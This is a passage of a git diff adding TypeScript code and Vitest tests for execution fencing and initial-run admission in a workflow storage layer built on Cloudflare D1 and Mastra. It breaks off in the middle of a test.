+    if (statement.mode === 'write') {
+      await prepared.run();
+      return [];
+    }
+    return fenceResultRows(await prepared.all<DeploymentIdentityProtocolRow>());
+  };
+
+  async #initialize(state: ExecutionFenceState): Promise<void> {
+    try {
+      await initializeExecutionFenceProtocol(this.#execute, {
+        state,
+        seededAt: this.#now(),
+      });
+    } catch (error) {
+      throw new ExecutionFenceUnreadableError(
+        'execution fence could not be initialized',
+        { cause: error },
+      );
+    }
+  }
+
+  #decodeReturned(result: unknown): StoredExecutionFence | undefined {
+    try {
+      return returningFence(result);
+    } catch (error) {
+      throw new ExecutionFenceUnreadableError(
+        'execution fence UPDATE result is not readable',
+        { cause: error },
+      );
+    }
+  }
+
+  async #readStored(): Promise<StoredExecutionFence | undefined> {
+    try {
+      let minimumStage = 0;
+      for (let attempt = 0; attempt < 2; attempt += 1) {
+        let rows: readonly DeploymentIdentityProtocolRow[];
+        try {
+          rows = await this.#execute({
+            mode: 'read',
+            sql: `SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`,
+            bindings: [],
+          });
+        } catch (error) {
+          if (attempt === 0 && isMissingFenceTable(error)) return undefined;
+          throw error;
+        }
+        const stage = await readExecutionFenceSchemaProtocol(this.#execute);
+        if (
+          !Array.isArray(rows) ||
+          stage === undefined ||
+          stage < minimumStage
+        ) {
+          throw new Error(
+            'execution fence row observation has no compatible schema',
+          );
+        }
+        if (rows.length === 0 && attempt === 0) {
+          if (stage === 0) return undefined;
+          minimumStage = stage;
+          continue;
+        }
+        if (rows.length !== 1)
+          throw new Error('execution fence row is not an exact singleton');
+        const stored = readingFromRow(rows[0]);
+        if (stored.schemaStage > stage)
+          throw new Error(
+            'execution fence schema observation precedes row metadata',
+          );
+        return stored;
+      }
+      throw new Error('execution fence row is missing');
+    } catch (error) {
+      throw new ExecutionFenceUnreadableError(
+        'execution fence state is not readable',
+        { cause: error },
+      );
+    }
   }
 }
diff --git a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts
new file mode 100644
index 00000000..fd9a3e28
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts
@@ -0,0 +1,88 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  D1RunExecutionIdentity,
+  ProofEntryExpectation,
+  StartIdentity,
+} from './execution-admission.js';
+import type { ExecutionFenceStore } from './execution-fence.js';
+import type { RunTerminalCleanup } from './run-lifecycle.js';
+import type {
+  StartIdempotencyStore,
+  StartReservationReading,
+} from './start-idempotency.js';
+import type {
+  RawWorkflowSnapshot,
+  SnapshotDatabase,
+  SnapshotStatement,
+} from './workflow-snapshot-row.js';
+
+export const FENCED_WORKFLOW_STORAGE: unique symbol = Symbol(
+  'flowsafe.fencedWorkflowStorage',
+);
+
+export interface InitialAdmissionDatabase extends SnapshotDatabase {
+  /** `SnapshotDatabase.batch`, required: admission cannot run without it. */
+  batch(
+    statements: SnapshotStatement[],
+  ): ReturnType<NonNullable<SnapshotDatabase['batch']>>;
+}
+
+export interface InitialRunAdmission {
+  readonly execution: D1RunExecutionIdentity;
+  readonly attemptToken: string;
+  readonly mutationEpoch?: number;
+  readonly startIdentity?: StartIdentity;
+  readonly requestContext: Readonly<Record<string, unknown>>;
+  readonly fence: ExecutionFenceStore;
+  readonly reservationStore?: StartIdempotencyStore;
+  readonly reservation?: StartReservationReading;
+  readonly proof?: ProofEntryExpectation;
+  readonly runOwnerGuard?: {
+    readonly owner: StartIdentity['owner'];
+    readonly reservationToken: string;
+  };
+  /** Plain-function invocation before the matching persist hook's first await. */
+  readonly onInitialWriteAttempt: () => void;
+}
+
+export interface InitialAdmissionWitness {
+  readonly execution: D1RunExecutionIdentity;
+  readonly row: RawWorkflowSnapshot;
+}
+
+/** Exact admitted observation; the stored intent, not the caller, chooses disposition. */
+export interface InitialTerminalizationRequest {
+  readonly expected: RawWorkflowSnapshot;
+  readonly execution: D1RunExecutionIdentity;
+  readonly attemptToken: string;
+  readonly nowMs: number;
+}
+
+/** A terminal-write observation, never admission or no-insert authority. */
+export type InitialTerminalizationResult =
+  | {
+      readonly kind: 'terminalized' | 'already-terminalized' | 'progressed';
+      readonly row: RawWorkflowSnapshot;
+      readonly cleanup?: RunTerminalCleanup;
+    }
+  | { readonly kind: 'conflict'; readonly row?: RawWorkflowSnapshot };
+
+/** Trusted storage primitives used by Runtime admission and owning recovery. */
+export interface FencedWorkflowAdmissionCapability {
+  readonly database: InitialAdmissionDatabase;
+  readonly tablePrefix: string;
+  /** Invokes only createRun as a plain function, never the returned Run's start. */
+  withInitialAdmission<T>(
+    input: InitialRunAdmission,
+    createRun: () => Promise<T>,
+  ): Promise<{ value: T; witness: InitialAdmissionWitness }>;
+  readSnapshot(address: {
+    workflowId: string;
+    runId: string;
+  }): Promise<RawWorkflowSnapshot | undefined>;
+  /** Compare the expected initial row once, without engine execution or cleanup. */
+  terminalizeInitialAdmission(
+    request: InitialTerminalizationRequest,
+  ): Promise<InitialTerminalizationResult>;
+}
diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts
new file mode 100644
index 00000000..bc756b2f
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts
@@ -0,0 +1,3318 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { WorkflowsStorageD1 } from '@mastra/cloudflare-d1';
+import { Mastra } from '@mastra/core/mastra';
+import { RequestContext } from '@mastra/core/request-context';
+import {
+  createStep,
+  createWorkflow,
+  type WorkflowRunState,
+} from '@mastra/core/workflows';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { z } from 'zod';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  D1ResourceOwnershipStore,
+  type ResourceOwnershipDatabase,
+} from '../approval-api/resource-ownership.js';
+import type { D1DatabaseBinding } from './cf-types.js';
+import { createD1Storage } from './d1-storage.js';
+import {
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+} from './execution-admission.js';
+import {
+  type ExecutionFenceState,
+  ExecutionFenceStore,
+} from './execution-fence.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type InitialAdmissionDatabase,
+  type InitialRunAdmission,
+  type InitialTerminalizationRequest,
+} from './fenced-workflow-capability.js';
+import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
+import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js';
+import {
+  RUN_LIFECYCLE_CONTEXT_KEY,
+  RunLifecycleBlockedError,
+} from './run-lifecycle.js';
+import {
+  StartIdempotencyStore,
+  type StartReservationReading,
+} from './start-idempotency.js';
+import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js';
+
+const PROVENANCE = 'flowsafe.runProvenance';
+const OWNER = { kind: 'human' as const, id: 'Alice' };
+
+async function fixture(
+  options: {
+    keyed?: boolean;
+    state?: ExecutionFenceState;
+    prefix?: string;
+    persist?: boolean;
+    shouldPersist?: () => boolean;
+    prune?: (args: { snapshot: WorkflowRunState }) => WorkflowRunState;
+  } = {},
+) {
+  const sql = openSqlite();
+  const db = sqliteUnitDatabase(sql) as InitialAdmissionDatabase &
+    D1DatabaseBinding;
+  const prefix = options.prefix ?? '';
+  const storage = createD1Storage({ binding: db, tablePrefix: prefix });
+  let effects = 0;
+  const workflow = createWorkflow({
+    id: 'workflow',
+    inputSchema: z.object({}),
+    outputSchema: z.object({}),
+    options: {
+      shouldPersistSnapshot:
+        options.shouldPersist ?? (() => options.persist !== false),
+      ...(options.prune ? { pruneSnapshot: options.prune } : {}),
+    },
+  })
+    .then(
+      createStep({
+        id: 'effect',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+        execute: async () => {
+          effects += 1;
+          return {};
+        },
+      }),
+    )
+    .commit();
+  new Mastra({ storage, workflows: { workflow } });
+  await storage.init();
+  const domain = await storage.getStore('workflows');
+  if (!(domain instanceof FencedWorkflowsStorageD1))
+    throw new Error('owned default missing');
+  const capability = domain[FENCED_WORKFLOW_STORAGE];
+  if (!capability) throw new Error('capability missing');
+  const fence = new ExecutionFenceStore(db);
+  await fence.seed(
+    options.state === 'proof-only' ? 'open' : (options.state ?? 'open'),
+  );
+  if (options.state === 'proof-only')
+    await fence.transition({
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: 'key',
+    });
+  const execution = {
+    tablePrefix: prefix.toLowerCase(),
+    workflowId: 'workflow',
+    runId: 'run',
+    startToken: 'generation',
+  };
+  const startIdentity = {
+    owner: OWNER,
+    target: { kind: 'workflow' as const, id: 'workflow' },
+  };
+  const reservationStore = options.keyed
+    ? new StartIdempotencyStore(db)
+    : undefined;
+  let reservation: StartReservationReading | undefined;
+  if (reservationStore) {
+    const reserved = await reservationStore.reserve({
+      key: 'key',
+      owner: OWNER,
+      targetKind: 'workflow',
+      targetId: 'workflow',
+      mintRunId: () => execution.runId,
+    });
+    reservation = await reservationStore.claimReservation(reserved.reservation);
+    if (!reservation) throw new Error('initial reservation claim was lost');
+  }
+  const reading = await fence.read();
+  const onInitialWriteAttempt = vi.fn();
+  const input: InitialRunAdmission = {
+    execution,
+    attemptToken: 'correlation',
+    startIdentity,
+    fence,
+    requestContext: {
+      runId: 'run',
+      'breakwater.workflowScope': 'workflow',
+      app: { text: 'λ', nullable: null },
+      [PROVENANCE]: {
+        version: 2,
+        startToken: execution.startToken,
+        attemptToken: 'correlation',
+        startIdentity,
+        requestedBy: OWNER.id,
+        requestedByKind: OWNER.kind,
+        resumeCounts: [],
+      },
+    },
+    ...(reservation ? { reservation, reservationStore } : {}),
+    ...(options.state === 'proof-only'
+      ? {
+          proof: {
+            key: 'key',
+            mutationEpoch: reading.mutationEpoch,
+            transitionRevision: reading.transitionRevision,
+          },
+        }
+      : {}),
+    onInitialWriteAttempt,
+  };
+  const admit = (supplied = input) =>
+    capability.withInitialAdmission(supplied, () =>
+      workflow.createRun({ runId: execution.runId }),
+    );
+  return {
+    sql,
+    db,
+    storage,
+    workflow,
+    domain,
+    capability,
+    fence,
+    input,
+    admit,
+    onInitialWriteAttempt,
+    effects: () => effects,
+    rows: () =>
+      sql.prepare(`SELECT * FROM "${prefix}mastra_workflow_snapshot"`).all(),
+  };
+}
+
+function pending(): WorkflowRunState {
+  return {
+    runId: 'run',
+    status: 'pending',
+    value: {},
+    context: {},
+    serializedStepGraph: [],
+    activePaths: [],
+    activeStepsPath: {},
+    suspendedPaths: {},
+    resumeLabels: {},
+    waitingPaths: {},
+    timestamp: 123,
+  };
+}
+
+async function direct(
+  h: Awaited<ReturnType<typeof fixture>>,
+  patch: Partial<
+    Parameters<FencedWorkflowsStorageD1['persistWorkflowSnapshot']>[0]
+  > = {},
+  input = h.input,
+) {
+  return h.capability.withInitialAdmission(input, () =>
+    h.domain.persistWorkflowSnapshot({
+      workflowName: 'workflow',
+      runId: 'run',
+      snapshot: pending(),
+      ...patch,
+    }),
+  );
+}
+
+afterEach(() => vi.restoreAllMocks());
+
+async function terminalFixture() {
+  const h = await fixture({ keyed: true, state: 'proof-only' });
+  await direct(h, { resourceId: 'resource' });
+  const expected = await h.capability.readSnapshot(h.input.execution);
+  if (!expected) throw new Error('initial row missing');
+  const request: InitialTerminalizationRequest = {
+    expected,
+    execution: h.input.execution,
+    attemptToken: h.input.attemptToken,
+    nowMs: 1_700_000_000_123,
+  };
+  const replace = (
+    edit: (
+      snapshot: Record<string, unknown> & {
+        requestContext: Record<string, unknown> & {
+          [PROVENANCE]: Record<string, unknown> & {
+            startIdentity: {
+              owner: { id: string; kind: string };
+              target: { id: string; kind: string; threadId?: string };
+            };
+          };
+        };
+      },
+    ) => void,
+  ) => {
+    const value = JSON.parse(request.expected.snapshot);
+    edit(value);
+    const row = { ...request.expected, snapshot: JSON.stringify(value) };
+    h.sql
+      .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?')
+      .run(row.snapshot);
+    return { ...request, expected: row };
+  };
+  return { ...h, request, replace };
+}
+
+function terminalResponse(
+  h: Awaited<ReturnType<typeof terminalFixture>>,
+  change: (result: unknown) => unknown | Promise<unknown>,
+) {
+  const prepare = h.db.prepare.bind(h.db);
+  return vi.spyOn(h.db, 'prepare').mockImplementation((sql) => {
+    const statement = prepare(sql);
+    if (sql.startsWith('UPDATE "')) {
+      const bind = statement.bind.bind(statement);
+      vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+        const bound = bind(...values);
+        const all = bound.all.bind(bound);
+        vi.spyOn(bound, 'all').mockImplementation(
+          async () => change(await all()) as never,
+        );
+        return bound;
+      });
+    }
+    return statement;
+  });
+}
+
+describe('owned initial terminalization', () => {
+  describe('terminalization readback and caller capture', () => {
+    it.each([
+      'matching',
+      'changed thread',
+      'changed mode',
+    ])('classifies %s agent readback without rewriting its raw row', async (variant) => {
+      const h = await terminalFixture();
+      const request = h.replace((snapshot) => {
+        snapshot.requestContext[PROVENANCE].startIdentity = {
+          owner: OWNER,
+          target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+        };
+        snapshot.requestContext[PROVENANCE].agentStart = { threaded: false };
+        snapshot.requestContext[PROVENANCE].mutationEpoch = 7;
+      });
+      const observed = h.replace((snapshot) => {
+        snapshot.status = 'running';
+        snapshot.requestContext[PROVENANCE].startIdentity = {
+          owner: OWNER,
+          target: {
+            kind: 'agent',
+            id: 'agent',
+            threadId: variant === 'changed thread' ? 'other-thread' : 'thread',
+          },
+        };
+        snapshot.requestContext[PROVENANCE].agentStart = {
+          threaded: variant === 'changed mode',
+        };
+        snapshot.requestContext[PROVENANCE].mutationEpoch = 7;
+        snapshot.requestContext[PROVENANCE].attemptToken = 'resume';
+        snapshot.requestContext[PROVENANCE].requestedBy = 'Bob';
+        snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 1]];
+        delete snapshot.requestContext[PROVENANCE].initialAdmission;
+      }).expected;
+      const before = h.rows();
+      const calls = vi.spyOn(h.db, 'prepare');
+      const result = await h.capability.terminalizeInitialAdmission(request);
+      expect(result.kind).toBe(
+        variant === 'matching' ? 'progressed' : 'conflict',
+      );
+      expect(result).toEqual({
+        kind: variant === 'matching' ? 'progressed' : 'conflict',
+        row: observed,
+      });
+      expect(h.rows()).toEqual(before);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+      expect(h.effects()).toBe(0);
+    });
+
+    it.each([
+      ['zero', 'cancelled', false],
+      ['zero', 'cancelled', true],
+      ['zero', 'timed_out', false],
+      ['zero', 'timed_out', true],
+      ['throw', 'cancelled', false],
+      ['throw', 'cancelled', true],
+      ['throw', 'timed_out', false],
+      ['throw', 'timed_out', true],
+    ] as const)('returns actual %s %s completed=%s readback cleanup without retry', async (response, status, complete) => {
+      const h = await terminalFixture();
+      const request = h.replace((snapshot) => {
+        snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+          version: 1,
+          revision: 2,
+          scheduleDispatch: {
+            scheduleId: 'old-schedule',
+            dispatchId: 'old-dispatch',
+          },
+          transitionIntent: {
+            status: 'cancelled',
+            requestedAt: 1,
+            replayPrincipals: [OWNER],
+          },
+        };
+      });
+      const observed = h.replace((snapshot) => {
+        snapshot.status = status;
+        snapshot.timestamp = 456;
+        delete snapshot.requestContext[PROVENANCE].initialAdmission;
+        snapshot.requestContext[PROVENANCE].attemptToken = 'resume';
+        snapshot.requestContext[PROVENANCE].requestedBy = 'Bob';
+        snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 2]];
+        snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+          version: 1,
+          revision: 9,
+          scheduleDispatch: {
+            scheduleId: 'current-schedule',
+            dispatchId: 'current-dispatch',
+          },
+          terminal: {
+            status,
+            error: {
+              code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT',
+              message:
+                status === 'cancelled'
+                  ? 'run was cancelled'
+                  : 'run deadline expired',
+            },
+            transitionedAt: 456,
+            replayPrincipals: [{ kind: 'service', id: 'current-replay' }],
+            ...(complete ? { cleanupCompletedAt: 0 } : {}),
+          },
+        };
+      }).expected;
+      const before = h.rows();
+      const participants = () => [
+        h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+        h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+      ];
+      const participantsBefore = participants();
+      const fault = new Error('UPDATE response lost before progress readback');
+      const calls = terminalResponse(h, (result) => {
+        if (response === 'throw') throw fault;
+        return result;
+      });
+      const outcome = await h.capability
+        .terminalizeInitialAdmission(request)
+        .catch((error: unknown) => error);
+      expect(outcome).toEqual({
+        kind: 'progressed',
+        row: observed,
+        cleanup: {
+          revision: 9,
+          status,
+          cleanupCompleted: complete,
+          scheduleDispatch: {
+            scheduleId: 'current-schedule',
+            dispatchId: 'current-dispatch',
+          },
+        },
+      });
+      expect(h.rows()).toEqual(before);
+      expect(participants()).toEqual(participantsBefore);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+      expect(h.effects()).toBe(0);
+    });
+
+    it.each([
+      'pending',
+      'other generation',
+    ])('retains the original fault for %s thrown readback', async (variant) => {
+      const h = await terminalFixture();
+      h.replace((snapshot) => {
+        snapshot.changed = true;
+        delete snapshot.requestContext[PROVENANCE].initialAdmission;
+        if (variant === 'other generation') {
+          snapshot.status = 'running';
+          snapshot.requestContext[PROVENANCE].startToken = 'other-generation';
+        }
+      });
+      const before = h.rows();
+      const fault = new Error('original nonconvergent UPDATE fault');
+      const calls = terminalResponse(h, () => {
+        throw fault;
+      });
+      const outcome = await h.capability
+        .terminalizeInitialAdmission(h.request)
+        .catch((error: unknown) => error);
+      expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+      if (!(outcome instanceof ExecutionFenceUnreadableError))
+        throw new Error('expected original operation uncertainty');
+      expect(outcome).toMatchObject({
+        status: 503,
+        message: 'initial admission cannot be terminalized',
+      });
+      expect(outcome.cause).toBe(fault);
+      expect(h.rows()).toEqual(before);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    });
+
+    it.each([
+      'changed intent',
+      'terminal lifecycle',
+    ])('keeps %s pending lifecycle observations as conflict', async (variant) => {
+      const h = await terminalFixture();
+      const request = h.replace((snapshot) => {
+        snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+          version: 1,
+          revision: 2,
+          transitionIntent: {
+            status: 'cancelled',
+            requestedAt: 1,
+            replayPrincipals: [OWNER],
+          },
+        };
+      });
+      const observed = h.replace((snapshot) => {
+        snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+          version: 1,
+          revision: 4,
+          ...(variant === 'changed intent'
+            ? {
+                transitionIntent: {
+                  status: 'timed_out',
+                  requestedAt: 2,
+                  replayPrincipals: [{ kind: 'service', id: 'later' }],
+                },
+              }
+            : {
+                terminal: {
+                  status: 'cancelled',
+                  error: { code: 'CANCELLED', message: 'run was cancelled' },
+                  transitionedAt: 2,
+                  replayPrincipals: [OWNER],
+                },
+              }),
+        };
+      }).expected;
+      const before = h.rows();
+      const calls = vi.spyOn(h.db, 'prepare');
+      const result = await h.capability.terminalizeInitialAdmission(request);
+      expect(result).toEqual({ kind: 'conflict', row: observed });
+      expect(h.rows()).toEqual(before);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    });
+
+    it.each([
+      false,
+      null,
+      'true',
+      0,
+    ])('refuses malformed admission marker %j in nonpending readback', async (marker) => {
+      const h = await terminalFixture();
+      h.replace((snapshot) => {
+        snapshot.status = 'success';
+        snapshot.requestContext[PROVENANCE].initialAdmission = marker;
+      });
+      const before = h.rows();
+      const calls = vi.spyOn(h.db, 'prepare');
+      const outcome = await h.capability
+        .terminalizeInitialAdmission(h.request)
+        .catch((error: unknown) => error);
+      expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect(outcome).toMatchObject({
+        status: 503,
+        message: 'initial admission cannot be terminalized',
+        cause: expect.any(Error),
+      });
+      expect(h.rows()).toEqual(before);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    });
+
+    it('ignores SELECT changes metadata when returning an unmarked raw progress row', async () => {
+      const h = await terminalFixture();
+      const observed = h.replace((snapshot) => {
+        snapshot.status = 'running';
+        delete snapshot.requestContext[PROVENANCE].initialAdmission;
+      }).expected;
+      const before = h.rows();
+      let selectResponses = 0;
+      const prepare = h.db.prepare.bind(h.db);
+      const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => {
+        const statement = prepare(sql);
+        if (sql.startsWith('SELECT ')) {
+          const bind = statement.bind.bind(statement);
+          vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+            const bound = bind(...values);
+            const all = bound.all.bind(bound);
+            vi.spyOn(bound, 'all').mockImplementation(async () => {
+              const result = await all();
+              selectResponses += 1;
+              return { ...result, meta: { changes: 77 } } as never;
+            });
+            return bound;
+          });
+        }
+        return statement;
+      });
+      const result = await h.capability.terminalizeInitialAdmission(h.request);
+      expect(result).toEqual({ kind: 'progressed', row: observed });
+      expect(selectResponses).toBe(1);
+      expect(h.rows()).toEqual(before);
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    });
+
+    it.each([
+      'request.expected',
+      'request.execution',
+      'request.attemptToken',
+      'request.nowMs',
+      'expected.tablePrefix',
+      'expected.workflowId',
+      'expected.runId',
+      'expected.resourceId',
+      'expected.snapshot',
+      'expected.createdAt',
+      'expected.updatedAt',
+      'execution.tablePrefix',
+      'execution.workflowId',
+      'execution.runId',
+      'execution.startToken',
+    ])('preserves first throwing %s getter on the default domain without SQL', async (field) => {
+      const h = await terminalFixture();
+      const request = {
+        ...h.request,
+        expected: { ...h.request.expected },
+        execution: { ...h.request.execution },
+      };
+      const fault = new Error(`caller fault at ${field}`);
+      const getter = vi.fn(() => {
+        throw fault;
+      });
+      const [part, key] = field.split('.');
+      if (!key) throw new Error('caller field missing');
+      const target =
+        part === 'request'
+          ? request
+          : part === 'expected'
+            ? request.expected
+            : request.execution;
+      Object.defineProperty(target, key, { enumerable: true, get: getter });
+      const before = h.rows();
+      const prepare = vi.spyOn(h.db, 'prepare');
+      const batch = vi.spyOn(h.db, 'batch');
+      const outcome = await h.capability
+        .terminalizeInitialAdmission(request)
+        .catch((error: unknown) => error);
+      expect(outcome).toBe(fault);
+      expect(getter).toHaveBeenCalledTimes(1);
+      expect(prepare).not.toHaveBeenCalled();
+      expect(batch).not.toHaveBeenCalled();
+      expect(h.rows()).toEqual(before);
+      expect(h.effects()).toBe(0);
+    });
+
+    it('captures every default-domain caller getter once before a held UPDATE and ignores later faults', async () => {
+      const h = await terminalFixture();
+      const reads = new Map<string, number>();
+      const fault = new Error('caller reread after capture');
+      let late = false;
+      function observed<T extends object>(source: T, label: string): T {
+        const copy = { ...source };
+        for (const key of Object.keys(source))
+          Object.defineProperty(copy, key, {
+            enumerable: true,
+            get() {
+              const name = `${label}.${key}`;
+              reads.set(name, (reads.get(name) ?? 0) + 1);
+              if (late) throw fault;
+              return source[key as keyof T];
+            },
+          });
+        return copy;
+      }
+      const request = observed(
+        {
+          ...h.request,
+          expected: observed({ ...h.request.expected }, 'expected'),
+          execution: observed({ ...h.request.execution }, 'execution'),
+        },
+        'request',
+      );
+      let enter = () => {};
+      let release = () => {};
+      const entered = new Promise<void>((resolve) => {
+        enter = resolve;
+      });
+      const held = new Promise<void>((resolve) => {
+        release = resolve;
+      });
+      const calls = terminalResponse(h, async (result) => {
+        enter();
+        await held;
+        return result;
+      });
+      const operation = h.capability.terminalizeInitialAdmission(request);
+      try {
+        await Promise.race([
+          entered,
+          operation.then(() => {
+            throw new Error('UPDATE did not remain held');
+          }),
+        ]);
+        expect(reads.size).toBe(15);
+        expect([...reads.values()]).toEqual(new Array(15).fill(1));
+        late = true;
+        release();
+        const result = await operation;
+        expect(result.kind).toBe('terminalized');
+        if (result.kind === 'conflict') throw new Error('unexpected conflict');
+        const snapshot = JSON.parse(result.row.snapshot);
+        const original = JSON.parse(h.request.expected.snapshot);
+        const provenance = { ...original.requestContext[PROVENANCE] };
+        delete provenance.initialAdmission;
+        expect(snapshot).toEqual({
+          ...original,
+          status: 'failed',
+          error: {
+            name: 'StartOutcomeUnknown',
+            message:
+              'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.',
+          },
+          requestContext: {
+            ...original.requestContext,
+            [PROVENANCE]: provenance,
+          },
+          timestamp: h.request.nowMs,
+        });
+        expect(result.row).toEqual({
+          ...h.request.expected,
+          snapshot: result.row.snapshot,
+          updatedAt: new Date(h.request.nowMs).toISOString(),
+        });
+        expect(result).not.toHaveProperty('cleanup');
+        expect(calls).toHaveBeenCalledTimes(1);
+        expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+        expect(calls.mock.results[0]?.value.bind).toHaveBeenCalledWith(
+          result.row.snapshot,
+          result.row.updatedAt,
+          h.request.expected.workflowId,
+          h.request.expected.runId,
+          h.request.expected.snapshot,
+          h.request.expected.createdAt,
+          h.request.expected.updatedAt,
+          h.request.expected.resourceId,
+        );
+        expect(h.rows()).toEqual([
+          expect.objectContaining({
+            workflow_name: h.request.expected.workflowId,
+            run_id: h.request.expected.runId,
+            resourceId: h.request.expected.resourceId,
+            createdAt: h.request.expected.createdAt,
+            updatedAt: result.row.updatedAt,
+            snapshot: result.row.snapshot,
+          }),
+        ]);
+        expect([...reads.values()]).toEqual(new Array(15).fill(1));
+        expect(h.effects()).toBe(0);
+      } finally {
+        release();
+        await Promise.allSettled([operation]);
+      }
+    });
+  });
+
+  it.each([
+    ['identity', null, 'execution identity must be an object'],
+    ['identity', [], 'execution identity must be an object'],
+    [
+      'tablePrefix',
+      null,
+      'tablePrefix is not valid for this execution identity',
+    ],
+    [
+      'tablePrefix',
+      'bad-prefix',
+      'tablePrefix is not valid for this execution identity',
+    ],
+    ['tablePrefix', 42, 'tablePrefix is not valid for this execution identity'],
+    ['workflowId', '', 'workflowId must be a URL-path-safe identifier'],
+    ['runId', 'bad/run', 'runId must be a URL-path-safe identifier'],
+    ['startToken', '', 'startToken must be a URL-path-safe identifier'],
+  ] as const)('preserves the field-specific %s identity400 for %j before stored-data validation', async (field, value, message) => {
+    const h = await terminalFixture();
+    const before = h.rows();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const batch = vi.spyOn(h.db, 'batch');
+    const error = await h.capability
+      .terminalizeInitialAdmission({
+        ...h.request,
+        expected: { ...h.request.expected, snapshot: '{' },
+        execution:
+          field === 'identity'
+            ? value
+            : { ...h.request.execution, [field]: value },
+      } as InitialTerminalizationRequest)
+      .catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+    if (!(error instanceof InvalidExecutionIdentityError))
+      throw new Error('expected input error');
+    expect(error.constructor).toBe(InvalidExecutionIdentityError);
+    expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' });
+    expect(error).toMatchObject({
+      name: 'InvalidExecutionIdentityError',
+      status: 400,
+      reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+      message,
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(prepare).not.toHaveBeenCalled();
+    expect(batch).not.toHaveBeenCalled();
+    expect(h.rows()).toEqual(before);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    ['pending', false],
+    ['pending', null],
+    ['pending', 'true'],
+    ['pending', 0],
+    ['success', false],
+    ['success', null],
+    ['success', 'true'],
+    ['success', 0],
+  ] as const)('refuses malformed admission marker in expected %s observation: %j', async (status, marker) => {
+    const h = await terminalFixture();
+    const request = h.replace((snapshot) => {
+      snapshot.status = status;
+      snapshot.requestContext[PROVENANCE].initialAdmission = marker;
+    });
+    const before = h.rows();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const batch = vi.spyOn(h.db, 'batch');
+    const error = await h.capability
+      .terminalizeInitialAdmission(request)
+      .catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(error).toMatchObject({
+      name: 'ExecutionFenceUnreadableError',
+      status: 503,
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+      message: 'initial admission cannot be terminalized',
+      cause: expect.any(Error),
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(prepare).not.toHaveBeenCalled();
+    expect(batch).not.toHaveBeenCalled();
+    expect(h.rows()).toEqual(before);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('recovers later progress after throwing %s actual UPDATE commit', async (phase) => {
+    const h = await terminalFixture();
+    const initial = h.rows();
+    const fault = new Error(`${phase} actual commit response loss`);
+    let observed: RawWorkflowSnapshot | undefined;
+    let laterRows: unknown[] = [];
+    let committed = 0;
+    const prepare = h.db.prepare.bind(h.db);
